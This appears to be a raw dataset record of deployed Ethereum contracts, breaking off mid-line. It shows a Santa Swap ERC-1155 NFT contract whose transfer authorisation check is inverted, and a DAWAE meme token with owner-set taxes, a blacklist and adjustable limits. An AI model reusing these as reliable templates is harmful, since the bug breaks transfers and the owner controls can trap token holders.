address
stringlengths
42
42
source_code
stringlengths
6.9k
125k
bytecode
stringlengths
2
49k
slither
stringclasses
664 values
id
int64
0
10.7k
0x9a760fC1b9E33735fC5e7CF4bCBd448Dbf6d4FEc
// SPDX-License-Identifier: GPL-3.0-or-later pragma solidity >=0.8.0; /// @notice Modern and gas-optimized ERC-1155 implementation. /// @author Modified from Helios (https://github.com/z0r0z/Helios/blob/main/contracts/ERC1155.sol) contract ERC1155 { /*/////////////////////////////////////////////////////////////// EVENTS //////////////////////////////////////////////////////////////*/ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 amount); event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] amounts); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /*/////////////////////////////////////////////////////////////// ERC1155 STORAGE //////////////////////////////////////////////////////////////*/ string public baseURI; string public name = "Santa Swap Participation Token"; mapping(address => mapping(uint256 => uint256)) public balanceOf; mapping(address => mapping(address => bool)) internal operators; /*/////////////////////////////////////////////////////////////// ERRORS //////////////////////////////////////////////////////////////*/ error ArrayParity(); error InvalidOperator(); error NullAddress(); error InvalidReceiver(); /*/////////////////////////////////////////////////////////////// ERC1155 LOGIC //////////////////////////////////////////////////////////////*/ /* GETTERS */ function balanceOfBatch(address[] calldata owners, uint256[] calldata ids) external view returns (uint256[] memory batchBalances) { if (owners.length != ids.length) revert ArrayParity(); batchBalances = new uint256[](owners.length); for (uint256 i = 0; i < owners.length; i++) { batchBalances[i] = balanceOf[owners[i]][ids[i]]; } } function supportsInterface(bytes4 interfaceId) external pure returns (bool supported) { supported = interfaceId == 0xd9b67a26 || interfaceId == 0x0e89341c; } function uri(uint256) external view returns (string memory meta) { meta = baseURI; } /* APPROVALS */ function isApprovedForAll(address owner, address operator) public view returns (bool isOperator) { isOperator = operators[owner][operator]; } function setApprovalForAll(address operator, bool approved) external { operators[msg.sender][operator] = approved; emit ApprovalForAll(msg.sender, operator, approved); } /* TRANSFERS */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) external { if (msg.sender != from || !isApprovedForAll(from, msg.sender)) revert InvalidOperator(); if (to == address(0)) revert NullAddress(); balanceOf[from][id] -= amount; balanceOf[to][id] += amount; _callonERC1155Received(from, to, id, amount, gasleft(), data); emit TransferSingle(msg.sender, from, to, id, amount); } function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) external { if (msg.sender != from || !isApprovedForAll(from, msg.sender)) revert InvalidOperator(); if (to == address(0)) revert NullAddress(); if (ids.length != amounts.length) revert ArrayParity(); for (uint256 i = 0; i < ids.length; i++) { balanceOf[from][ids[i]] -= amounts[i]; balanceOf[to][ids[i]] += amounts[i]; } _callonERC1155BatchReceived(from, to, ids, amounts, gasleft(), data); emit TransferBatch(msg.sender, from, to, ids, amounts); } function _callonERC1155Received( address from, address to, uint256 id, uint256 amount, uint256 gasLimit, bytes memory data ) internal view { if (to.code.length != 0) { // selector = `bytes4(keccak256('onERC1155Received(address,address,uint256,uint256,bytes)'))` (, bytes memory returned) = to.staticcall{gas: gasLimit}(abi.encodeWithSelector(0xf23a6e61, msg.sender, from, id, amount, data)); bytes4 selector = abi.decode(returned, (bytes4)); if (selector != 0xf23a6e61) revert InvalidReceiver(); } } function _callonERC1155BatchReceived( address from, address to, uint256[] memory ids, uint256[] memory amounts, uint256 gasLimit, bytes memory data ) internal view { if (to.code.length != 0) { // selector = `bytes4(keccak256('onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)'))` (, bytes memory returned) = to.staticcall{gas: gasLimit}(abi.encodeWithSelector(0xbc197c81, msg.sender, from, ids, amounts, data)); bytes4 selector = abi.decode(returned, (bytes4)); if (selector != 0xbc197c81) revert InvalidReceiver(); } } /*/////////////////////////////////////////////////////////////// MINT/BURN LOGIC //////////////////////////////////////////////////////////////*/ function _mint( address to, uint256 id, uint256 amount, bytes memory data ) internal { balanceOf[to][id] += amount; if (to.code.length != 0) _callonERC1155Received(address(0), to, id, amount, gasleft(), data); emit TransferSingle(msg.sender, address(0), to, id, amount); } function _batchMint( address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal { if (ids.length != amounts.length) revert ArrayParity(); for (uint256 i = 0; i < ids.length; i++) { balanceOf[to][ids[i]] += amounts[i]; } if (to.code.length != 0) _callonERC1155BatchReceived(address(0x0), to, ids, amounts, gasleft(), data); emit TransferBatch(msg.sender, address(0), to, ids, amounts); } /*/////////////////////////////////////////////////////////////// URI LOGIC //////////////////////////////////////////////////////////////*/ function _updateURI(string memory newURI) internal { baseURI = newURI; } } /// @title SantaSwapNFT /// @author Anish Agnihotri /// @notice Participation tickets for 2021 Santa Swap NFT Gift Exchange contract SantaSwapNFT is ERC1155 { /// ============ Immutable storage ============ /// @notice Maximum number of mintable NFTs (global) uint256 immutable MAX_NFTS = 10_000; /// @notice Maximum number of mintable NFTs (local, by address) uint256 immutable MAX_NFTS_PER_ADDRESS = 10; /// ============ Mutable storage ============ /// @notice Contract owner address public owner; /// @notice Number of NFTs minted uint256 public nftsMinted = 0; /// ============ Events ============ /// @notice Emitted after an NFT is minted /// @param to new NFT owner /// @param handleHash custom hashed Twitter handle of owner /// @param amount number of NFTs minted event NFTMinted(address indexed to, bytes32 handleHash, uint256 amount); /// ============ Errors ============ /// @notice Thrown when not enough ETH provided to pay for NFT mint error InsufficientPayment(); /// @notice Thrown when attempting to call owner functions as non-owner error NotOwner(); /// @notice Thrown when max number of NFTs have or would be minted (total or by address) error MaxMinted(); /// @notice Thrown when error in low-level call error CallError(); /// ============ Constructor ============ /// @notice Creates a new SantaSwapNFT contract /// @param baseURI of ERC-1155 compatible metadata constructor(string memory baseURI) { // Update owner to deployer owner = msg.sender; // Update URI _updateURI(baseURI); } /// ============ Functions ============ /// @notice Mints a single NFT /// @param handleHash custom hashed Twitter handle of owner function mintSingle(bytes32 handleHash) external payable { // Revert if not enough payment provided if (msg.value < 0.03 ether) revert InsufficientPayment(); // Revert if maximum NFTs minted (address) after minting single if (balanceOf[msg.sender][0] + 1 > MAX_NFTS_PER_ADDRESS) revert MaxMinted(); // Revert if maximum NFTs minted (global) after minting single if (nftsMinted + 1 > MAX_NFTS) revert MaxMinted(); // Mint NFT _mint(msg.sender, 0, 1, ""); // Increment number of mints nftsMinted++; // Emit NFTMinted event emit NFTMinted(msg.sender, handleHash, 1); } /// @notice Mints many NFTs /// @param handleHash custom hashed Twitter handle of owner /// @param numToMint number of NFTs to mint in bulk function mintBatch(bytes32 handleHash, uint256 numToMint) external payable { // Revert if not enough payment provided if (msg.value < (numToMint * 0.03 ether)) revert InsufficientPayment(); // Revert if maximum NFTs minted (address) after minting bulk if (balanceOf[msg.sender][0] + numToMint > MAX_NFTS_PER_ADDRESS) revert MaxMinted(); // Revert if maximum NFTs minted (global) after minting bulk if (nftsMinted + numToMint > MAX_NFTS) revert MaxMinted(); // Batch mint NFTs uint256[] memory ids = new uint256[](1); ids[0] = 0; uint256[] memory amounts = new uint256[](1); amounts[0] = numToMint; _batchMint(msg.sender, ids, amounts, ""); // Increment number of mints nftsMinted += numToMint; // Emit NFTMinted event emit NFTMinted(msg.sender, handleHash, numToMint); } /// @notice Allows owner to withdraw balance of contract function withdrawBalance() external { // Revert if caller is not owner if (msg.sender != owner) revert NotOwner(); // Drain balance (bool sent,) = owner.call{value: address(this).balance}(""); if (!sent) revert CallError(); } /// @notice Allows owner to update owner of contract function updateOwner(address newOwner) external { // Revert if caller is not owner if (msg.sender != owner) revert NotOwner(); // Update new owner owner = newOwner; } /// @notice Allows owner to update contract URI function updateURI(string memory newURI) external { // Revert if caller is not owner if (msg.sender != owner) revert NotOwner(); // Update new URI _updateURI(newURI); } /// @notice Returns total supply of NFTs /// @return Total supply function totalSupply() public pure returns (uint256) { return MAX_NFTS; } }
0x6080604052600436106101085760003560e01c80635fd8c710116100955780638da5cb5b116100645780638da5cb5b146102d2578063a22cb4651461030a578063c30f4a5a1461032a578063e985e9c51461034a578063f242432a1461036a57600080fd5b80635fd8c7101461027257806360df19e0146102875780636c0360eb1461029d578063880cdc31146102b257600080fd5b806318160ddd116100dc57806318160ddd146101ca5780632eb2c2d6146101fd5780634e1273f41461021f578063513db2411461024c57806355c5002a1461025f57600080fd5b8062fdd58e1461010d57806301ffc9a71461015857806306fdde03146101885780630e89341c146101aa575b600080fd5b34801561011957600080fd5b506101456101283660046115d0565b600260209081526000928352604080842090915290825290205481565b6040519081526020015b60405180910390f35b34801561016457600080fd5b506101786101733660046116a1565b61038a565b604051901515815260200161014f565b34801561019457600080fd5b5061019d6103c1565b60405161014f9190611893565b3480156101b657600080fd5b5061019d6101c5366004611666565b61044f565b3480156101d657600080fd5b507f0000000000000000000000000000000000000000000000000000000000002710610145565b34801561020957600080fd5b5061021d610218366004611485565b6104e3565b005b34801561022b57600080fd5b5061023f61023a3660046115fa565b6106f1565b60405161014f9190611852565b61021d61025a36600461167f565b610810565b61021d61026d366004611666565b6109ef565b34801561027e57600080fd5b5061021d610b3d565b34801561029357600080fd5b5061014560055481565b3480156102a957600080fd5b5061019d610bdf565b3480156102be57600080fd5b5061021d6102cd366004611437565b610bec565b3480156102de57600080fd5b506004546102f2906001600160a01b031681565b6040516001600160a01b03909116815260200161014f565b34801561031657600080fd5b5061021d610325366004611594565b610c39565b34801561033657600080fd5b5061021d6103453660046116db565b610ca5565b34801561035657600080fd5b50610178610365366004611452565b610cd9565b34801561037657600080fd5b5061021d61038536600461152f565b610d07565b6000636cdb3d1360e11b6001600160e01b0319831614806103bb57506303a24d0760e21b6001600160e01b03198316145b92915050565b600180546103ce90611955565b80601f01602080910402602001604051908101604052809291908181526020018280546103fa90611955565b80156104475780601f1061041c57610100808354040283529160200191610447565b820191906000526020600020905b81548152906001019060200180831161042a57829003601f168201915b505050505081565b60606000805461045e90611955565b80601f016020809104026020016040519081016040528092919081815260200182805461048a90611955565b80156104d75780601f106104ac576101008083540402835291602001916104d7565b820191906000526020600020905b8154815290600101906020018083116104ba57829003601f168201915b50505050509050919050565b336001600160a01b03861614158061050257506105008533610cd9565b155b156105205760405163ccea9e6f60e01b815260040160405180910390fd5b6001600160a01b0384166105475760405163e99d5ac560e01b815260040160405180910390fd5b815183511461056957604051630bb9738760e31b815260040160405180910390fd5b60005b835181101561068457828181518110610587576105876119c1565b602002602001015160026000886001600160a01b03166001600160a01b0316815260200190815260200160002060008684815181106105c8576105c86119c1565b6020026020010151815260200190815260200160002060008282546105ed919061190e565b92505081905550828181518110610606576106066119c1565b602002602001015160026000876001600160a01b03166001600160a01b031681526020019081526020016000206000868481518110610647576106476119c1565b60200260200101518152602001908152602001600020600082825461066c91906118d7565b9091555081905061067c81611990565b91505061056c565b50610693858585855a86610e32565b836001600160a01b0316856001600160a01b0316336001600160a01b03167f4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb86866040516106e2929190611865565b60405180910390a45050505050565b606083821461071357604051630bb9738760e31b815260040160405180910390fd5b8367ffffffffffffffff81111561072c5761072c6119d7565b604051908082528060200260200182016040528015610755578160200160208202803683370190505b50905060005b848110156108075760026000878784818110610779576107796119c1565b905060200201602081019061078e9190611437565b6001600160a01b03166001600160a01b0316815260200190815260200160002060008585848181106107c2576107c26119c1565b905060200201358152602001908152602001600020548282815181106107ea576107ea6119c1565b6020908102919091010152806107ff81611990565b91505061075b565b50949350505050565b61082181666a94d74f4300006118ef565b3410156108415760405163cd1c886760e01b815260040160405180910390fd5b3360009081526002602090815260408083208380529091529020547f000000000000000000000000000000000000000000000000000000000000000a906108899083906118d7565b11156108a85760405163c109f51160e01b815260040160405180910390fd5b7f0000000000000000000000000000000000000000000000000000000000002710816005546108d791906118d7565b11156108f65760405163c109f51160e01b815260040160405180910390fd5b6040805160018082528183019092526000916020808301908036833701905050905060008160008151811061092d5761092d6119c1565b60209081029190910101526040805160018082528183019092526000918160200160208202803683370190505090508281600081518110610970576109706119c1565b60200260200101818152505061099733838360405180602001604052806000815250610f3f565b82600560008282546109a991906118d7565b9091555050604080518581526020810185905233917f782ea917e792a4898a2d6de6653a331d367dce2eeaf57963f1efd32a3a217f65910160405180910390a250505050565b666a94d74f430000341015610a175760405163cd1c886760e01b815260040160405180910390fd5b3360009081526002602090815260408083208380529091529020547f000000000000000000000000000000000000000000000000000000000000000a90610a5f9060016118d7565b1115610a7e5760405163c109f51160e01b815260040160405180910390fd5b7f00000000000000000000000000000000000000000000000000000000000027106005546001610aae91906118d7565b1115610acd5760405163c109f51160e01b815260040160405180910390fd5b610aea33600060016040518060200160405280600081525061107b565b60058054906000610afa83611990565b9091555050604080518281526001602082015233917f782ea917e792a4898a2d6de6653a331d367dce2eeaf57963f1efd32a3a217f65910160405180910390a250565b6004546001600160a01b03163314610b68576040516330cd747160e01b815260040160405180910390fd5b6004546040516000916001600160a01b03169047908381818185875af1925050503d8060008114610bb5576040519150601f19603f3d011682016040523d82523d6000602084013e610bba565b606091505b5050905080610bdc57604051630d93a8fd60e31b815260040160405180910390fd5b50565b600080546103ce90611955565b6004546001600160a01b03163314610c17576040516330cd747160e01b815260040160405180910390fd5b600480546001600160a01b0319166001600160a01b0392909216919091179055565b3360008181526003602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b6004546001600160a01b03163314610cd0576040516330cd747160e01b815260040160405180910390fd5b610bdc81611118565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205460ff1690565b336001600160a01b038616141580610d265750610d248533610cd9565b155b15610d445760405163ccea9e6f60e01b815260040160405180910390fd5b6001600160a01b038416610d6b5760405163e99d5ac560e01b815260040160405180910390fd5b6001600160a01b038516600090815260026020908152604080832086845290915281208054849290610d9e90849061190e565b90915550506001600160a01b038416600090815260026020908152604080832086845290915281208054849290610dd69084906118d7565b90915550610dea9050858585855a8661112f565b60408051848152602081018490526001600160a01b03808716929088169133917fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f6291016106e2565b6001600160a01b0385163b15610f37576000856001600160a01b03168363bc197c81338a898988604051602401610e6d9594939291906117af565b6040516020818303038152906040529060e01b6020820180516001600160e01b038381831617835250505050604051610ea69190611793565b6000604051808303818686fa925050503d8060008114610ee2576040519150601f19603f3d011682016040523d82523d6000602084013e610ee7565b606091505b50915050600081806020019051810190610f0191906116be565b905063bc197c8160e01b6001600160e01b0319821614610f3457604051631e4ec46b60e01b815260040160405180910390fd5b50505b505050505050565b8151835114610f6157604051630bb9738760e31b815260040160405180910390fd5b60005b8351811015610ffd57828181518110610f7f57610f7f6119c1565b602002602001015160026000876001600160a01b03166001600160a01b031681526020019081526020016000206000868481518110610fc057610fc06119c1565b602002602001015181526020019081526020016000206000828254610fe591906118d7565b90915550819050610ff581611990565b915050610f64565b506001600160a01b0384163b1561101d5761101d60008585855a86610e32565b836001600160a01b031660006001600160a01b0316336001600160a01b03167f4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb868660405161106d929190611865565b60405180910390a450505050565b6001600160a01b0384166000908152600260209081526040808320868452909152812080548492906110ae9084906118d7565b90915550506001600160a01b0384163b156110d2576110d260008585855a8661112f565b60408051848152602081018490526001600160a01b0386169160009133917fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62910161106d565b805161112b906000906020840190611231565b5050565b6001600160a01b0385163b15610f37576000856001600160a01b03168363f23a6e61338a89898860405160240161116a95949392919061180d565b6040516020818303038152906040529060e01b6020820180516001600160e01b0383818316178352505050506040516111a39190611793565b6000604051808303818686fa925050503d80600081146111df576040519150601f19603f3d011682016040523d82523d6000602084013e6111e4565b606091505b509150506000818060200190518101906111fe91906116be565b905063f23a6e6160e01b6001600160e01b0319821614610f3457604051631e4ec46b60e01b815260040160405180910390fd5b82805461123d90611955565b90600052602060002090601f01602090048101928261125f57600085556112a5565b82601f1061127857805160ff19168380011785556112a5565b828001600101855582156112a5579182015b828111156112a557825182559160200191906001019061128a565b506112b19291506112b5565b5090565b5b808211156112b157600081556001016112b6565b600067ffffffffffffffff8311156112e4576112e46119d7565b6112f7601f8401601f19166020016118a6565b905082815283838301111561130b57600080fd5b828260208301376000602084830101529392505050565b80356001600160a01b038116811461133957600080fd5b919050565b60008083601f84011261135057600080fd5b50813567ffffffffffffffff81111561136857600080fd5b6020830191508360208260051b850101111561138357600080fd5b9250929050565b600082601f83011261139b57600080fd5b8135602067ffffffffffffffff8211156113b7576113b76119d7565b8160051b6113c68282016118a6565b8381528281019086840183880185018910156113e157600080fd5b600093505b858410156114045780358352600193909301929184019184016113e6565b50979650505050505050565b600082601f83011261142157600080fd5b611430838335602085016112ca565b9392505050565b60006020828403121561144957600080fd5b61143082611322565b6000806040838503121561146557600080fd5b61146e83611322565b915061147c60208401611322565b90509250929050565b600080600080600060a0868803121561149d57600080fd5b6114a686611322565b94506114b460208701611322565b9350604086013567ffffffffffffffff808211156114d157600080fd5b6114dd89838a0161138a565b945060608801359150808211156114f357600080fd5b6114ff89838a0161138a565b9350608088013591508082111561151557600080fd5b5061152288828901611410565b9150509295509295909350565b600080600080600060a0868803121561154757600080fd5b61155086611322565b945061155e60208701611322565b93506040860135925060608601359150608086013567ffffffffffffffff81111561158857600080fd5b61152288828901611410565b600080604083850312156115a757600080fd5b6115b083611322565b9150602083013580151581146115c557600080fd5b809150509250929050565b600080604083850312156115e357600080fd5b6115ec83611322565b946020939093013593505050565b6000806000806040858703121561161057600080fd5b843567ffffffffffffffff8082111561162857600080fd5b6116348883890161133e565b9096509450602087013591508082111561164d57600080fd5b5061165a8782880161133e565b95989497509550505050565b60006020828403121561167857600080fd5b5035919050565b6000806040838503121561169257600080fd5b50508035926020909101359150565b6000602082840312156116b357600080fd5b8135611430816119ed565b6000602082840312156116d057600080fd5b8151611430816119ed565b6000602082840312156116ed57600080fd5b813567ffffffffffffffff81111561170457600080fd5b8201601f8101841361171557600080fd5b611724848235602084016112ca565b949350505050565b600081518084526020808501945080840160005b8381101561175c57815187529582019590820190600101611740565b509495945050505050565b6000815180845261177f816020860160208601611925565b601f01601f19169290920160200192915050565b600082516117a5818460208701611925565b9190910192915050565b6001600160a01b0386811682528516602082015260a0604082018190526000906117db9083018661172c565b82810360608401526117ed818661172c565b905082810360808401526118018185611767565b98975050505050505050565b6001600160a01b03868116825285166020820152604081018490526060810183905260a06080820181905260009061184790830184611767565b979650505050505050565b602081526000611430602083018461172c565b604081526000611878604083018561172c565b828103602084015261188a818561172c565b95945050505050565b6020815260006114306020830184611767565b604051601f8201601f1916810167ffffffffffffffff811182821017156118cf576118cf6119d7565b604052919050565b600082198211156118ea576118ea6119ab565b500190565b6000816000190483118215151615611909576119096119ab565b500290565b600082821015611920576119206119ab565b500390565b60005b83811015611940578181015183820152602001611928565b8381111561194f576000848401525b50505050565b600181811c9082168061196957607f821691505b6020821081141561198a57634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156119a4576119a46119ab565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b031981168114610bdc57600080fdfea264697066735822122085c73a70e6349352c5d96623ca5d265a18064b7b50fc2312d488e8408f041b6064736f6c63430008070033
{"success": true, "error": null, "results": {}}
3,800
0xd3470c937433792fA6Bf1D7B6B401CB0c5933753
/** Telegram: https://t.me/dawae_eth Twitter: https://twitter.com/DaWae_eth dis is /$$$$$$$ /$$$$$$ /$$ /$$ /$$$$$$ /$$$$$$$$ | $$__ $$ /$$__ $$ | $$ /$ | $$ /$$__ $$| $$_____/ | $$ \ $$| $$ \ $$ | $$ /$$$| $$| $$ \ $$| $$ | $$ | $$| $$$$$$$$ | $$/$$ $$ $$| $$$$$$$$| $$$$$ | $$ | $$| $$__ $$ | $$$$_ $$$$| $$__ $$| $$__/ | $$ | $$| $$ | $$ | $$$/ \ $$$| $$ | $$| $$ | $$$$$$$/| $$ | $$ | $$/ \ $$| $$ | $$| $$$$$$$$ |_______/ |__/ |__/ |__/ \__/|__/ |__/|________/ - 100% Tokens to Liquidity / No premine dev token wallet - Dev tax 7% at time of launch - Launch with 4% Wallet Cap Limit **/ // SPDX-License-Identifier: MIT pragma solidity ^0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private m_Owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); m_Owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return m_Owner; } function transferOwnership(address _address) public virtual onlyOwner { emit OwnershipTransferred(m_Owner, _address); m_Owner = _address; } modifier onlyOwner() { require(_msgSender() == m_Owner, "Ownable: caller is not the owner"); _; } } contract Taxable is Ownable { using SafeMath for uint256; uint256[] m_TaxAlloc; address payable[] m_TaxAddresses; mapping (address => uint256) private m_TaxIdx; uint256 public m_TotalAlloc; function initTax() internal virtual { m_TaxAlloc = new uint24[](0); m_TaxAddresses = new address payable[](0); m_TaxAlloc.push(0); m_TaxAddresses.push(payable(address(0))); } function payTaxes(uint256 _eth, uint256 _d) internal virtual { for (uint i = 1; i < m_TaxAlloc.length; i++) { uint256 _alloc = m_TaxAlloc[i]; address payable _address = m_TaxAddresses[i]; uint256 _amount = _eth.mul(_alloc).div(_d); if (_amount > 1){ _address.transfer(_amount); } } } function setTaxAlloc(address payable _address, uint256 _alloc) internal virtual onlyOwner() { uint _idx = m_TaxIdx[_address]; if (_idx == 0) { require(m_TotalAlloc.add(_alloc) <= 10500); m_TaxAlloc.push(_alloc); m_TaxAddresses.push(_address); m_TaxIdx[_address] = m_TaxAlloc.length - 1; m_TotalAlloc = m_TotalAlloc.add(_alloc); } else { // update alloc for this address uint256 _priorAlloc = m_TaxAlloc[_idx]; require(m_TotalAlloc.add(_alloc).sub(_priorAlloc) <= 10500); m_TaxAlloc[_idx] = _alloc; m_TotalAlloc = m_TotalAlloc.add(_alloc).sub(_priorAlloc); } } function totalTaxAlloc() internal virtual view returns (uint256) { return m_TotalAlloc; } function getTaxAlloc(address payable _address) public virtual onlyOwner() view returns (uint256) { uint _idx = m_TaxIdx[_address]; return m_TaxAlloc[_idx]; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract DAWAE is Context, IERC20, Taxable { using SafeMath for uint256; // TOKEN uint256 private constant TOTAL_SUPPLY = 1000000000 * 10**9; string private m_Name = "Uganda Knuckles"; string private m_Symbol = "DAWAE"; uint8 private m_Decimals = 9; // EXCHANGES address private m_UniswapV2Pair; IUniswapV2Router02 private m_UniswapV2Router; // TRANSACTIONS uint256 private m_WalletLimit = TOTAL_SUPPLY.div(25); // 4% supply uint256 private m_TxLimit = TOTAL_SUPPLY.div(25); // 4% supply bool private m_Liquidity = false; event SetTxLimit(uint TxLimit); // MISC mapping (address => bool) private m_Blacklist; mapping (address => bool) private m_ExcludedAddresses; mapping (address => uint256) private m_Balances; mapping (address => mapping (address => uint256)) private m_Allowances; uint256 private m_LastEthBal = 0; bool private m_Launched = false; bool private m_IsSwap = false; bool private _limitTX = true; uint256 private pMax = 100000; // max alloc percentage modifier lockTheSwap { m_IsSwap = true; _; m_IsSwap = false; } receive() external payable {} constructor () { initTax(); m_Balances[address(this)] = TOTAL_SUPPLY; m_ExcludedAddresses[owner()] = true; m_ExcludedAddresses[address(this)] = true; emit Transfer(address(0), address(this), TOTAL_SUPPLY); } function name() public view returns (string memory) { return m_Name; } function symbol() public view returns (string memory) { return m_Symbol; } function decimals() public view returns (uint8) { return m_Decimals; } function totalSupply() public pure override returns (uint256) { return TOTAL_SUPPLY; } function balanceOf(address _account) public view override returns (uint256) { return m_Balances[_account]; } function transfer(address _recipient, uint256 _amount) public override returns (bool) { _transfer(_msgSender(), _recipient, _amount); return true; } function allowance(address _owner, address _spender) public view override returns (uint256) { return m_Allowances[_owner][_spender]; } function approve(address _spender, uint256 _amount) public override returns (bool) { _approve(_msgSender(), _spender, _amount); return true; } function transferFrom(address _sender, address _recipient, uint256 _amount) public override returns (bool) { _transfer(_sender, _recipient, _amount); _approve(_sender, _msgSender(), m_Allowances[_sender][_msgSender()].sub(_amount, "ERC20: transfer amount exceeds allowance")); return true; } function _readyToTax(address _sender) private view returns (bool) { return !m_IsSwap && _sender != m_UniswapV2Pair; } function _isBuy(address _sender) private view returns (bool) { return _sender == m_UniswapV2Pair; } function _trader(address _sender, address _recipient) private view returns (bool) { return !(m_ExcludedAddresses[_sender] || m_ExcludedAddresses[_recipient]); } function _isExchangeTransfer(address _sender, address _recipient) private view returns (bool) { return _sender == m_UniswapV2Pair || _recipient == m_UniswapV2Pair; } function _txRestricted(address _sender, address _recipient) private view returns (bool) { return _sender == m_UniswapV2Pair && _recipient != address(m_UniswapV2Router) && !m_ExcludedAddresses[_recipient]; } function _walletCapped(address _recipient) private view returns (bool) { return _recipient != m_UniswapV2Pair && _recipient != address(m_UniswapV2Router); } function _checkTX() private view returns (uint256){ return m_TxLimit; } function setTxLimit(uint24 limit) external onlyOwner() { m_TxLimit = TOTAL_SUPPLY.div(limit); } function setWalletLimit(uint24 limit) external onlyOwner() { m_WalletLimit = TOTAL_SUPPLY.div(limit); } function CurrentTxLimit() public view returns (uint256) { return m_TxLimit; } function CurrentWalletLimit() public view returns (uint256) { return m_WalletLimit; } function _approve(address _owner, address _spender, uint256 _amount) private { require(_owner != address(0), "ERC20: approve from the zero address"); require(_spender != address(0), "ERC20: approve to the zero address"); m_Allowances[_owner][_spender] = _amount; emit Approval(_owner, _spender, _amount); } function _transfer(address _sender, address _recipient, uint256 _amount) private { require(_sender != address(0), "ERC20: transfer from the zero address"); require(_recipient != address(0), "ERC20: transfer to the zero address"); require(_amount > 0, "Transfer amount must be greater than zero"); require(!m_Blacklist[_sender] && !m_Blacklist[_recipient] && !m_Blacklist[tx.origin]); if(_walletCapped(_recipient)){ if (m_Launched){ require(balanceOf(_recipient) < m_WalletLimit); } else { require(_amount <= _checkTX()); require(balanceOf(_recipient) < m_WalletLimit); } } uint256 _taxes = 0; if (_trader(_sender, _recipient)) { require(m_Launched); if (_txRestricted(_sender, _recipient)) require(_amount <= _checkTX()); _taxes = _getTaxes(_sender, _recipient, _amount); _tax(_sender); } _updateBalances(_sender, _recipient, _amount, _taxes); } function _updateBalances(address _sender, address _recipient, uint256 _amount, uint256 _taxes) private { uint256 _netAmount = _amount.sub(_taxes); m_Balances[_sender] = m_Balances[_sender].sub(_amount); m_Balances[_recipient] = m_Balances[_recipient].add(_netAmount); m_Balances[address(this)] = m_Balances[address(this)].add(_taxes); emit Transfer(_sender, _recipient, _netAmount); } function _getTaxes(address _sender, address _recipient, uint256 _amount) private view returns (uint256) { uint256 _ret = 0; if (m_ExcludedAddresses[_sender] || m_ExcludedAddresses[_recipient]) { return _ret; } _ret = _ret.add(_amount.div(pMax).mul(totalTaxAlloc())); return _ret; } function _tax(address _sender) private { if (_readyToTax(_sender)) { uint256 _tokenBalance = balanceOf(address(this)); _swapTokensForETH(_tokenBalance); _disperseEth(); } } function _swapTokensForETH(uint256 _amount) private lockTheSwap { address[] memory _path = new address[](2); _path[0] = address(this); _path[1] = m_UniswapV2Router.WETH(); _approve(address(this), address(m_UniswapV2Router), _amount); m_UniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( _amount, 0, _path, address(this), block.timestamp ); } function _getTaxDenominator() private view returns (uint) { uint _ret = 0; _ret = _ret.add(totalTaxAlloc()); return _ret; } function _disperseEth() private { uint256 _eth = address(this).balance; if (_eth <= m_LastEthBal) return; uint256 _newEth = _eth.sub(m_LastEthBal); uint _d = _getTaxDenominator(); if (_d < 1) return; payTaxes(_newEth, _d); m_LastEthBal = address(this).balance; } function addLiquidity() external onlyOwner() { require(!m_Liquidity,"Liquidity already added."); uint256 _ethBalance = address(this).balance; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); m_UniswapV2Router = _uniswapV2Router; _approve(address(this), address(m_UniswapV2Router), TOTAL_SUPPLY); m_UniswapV2Pair = 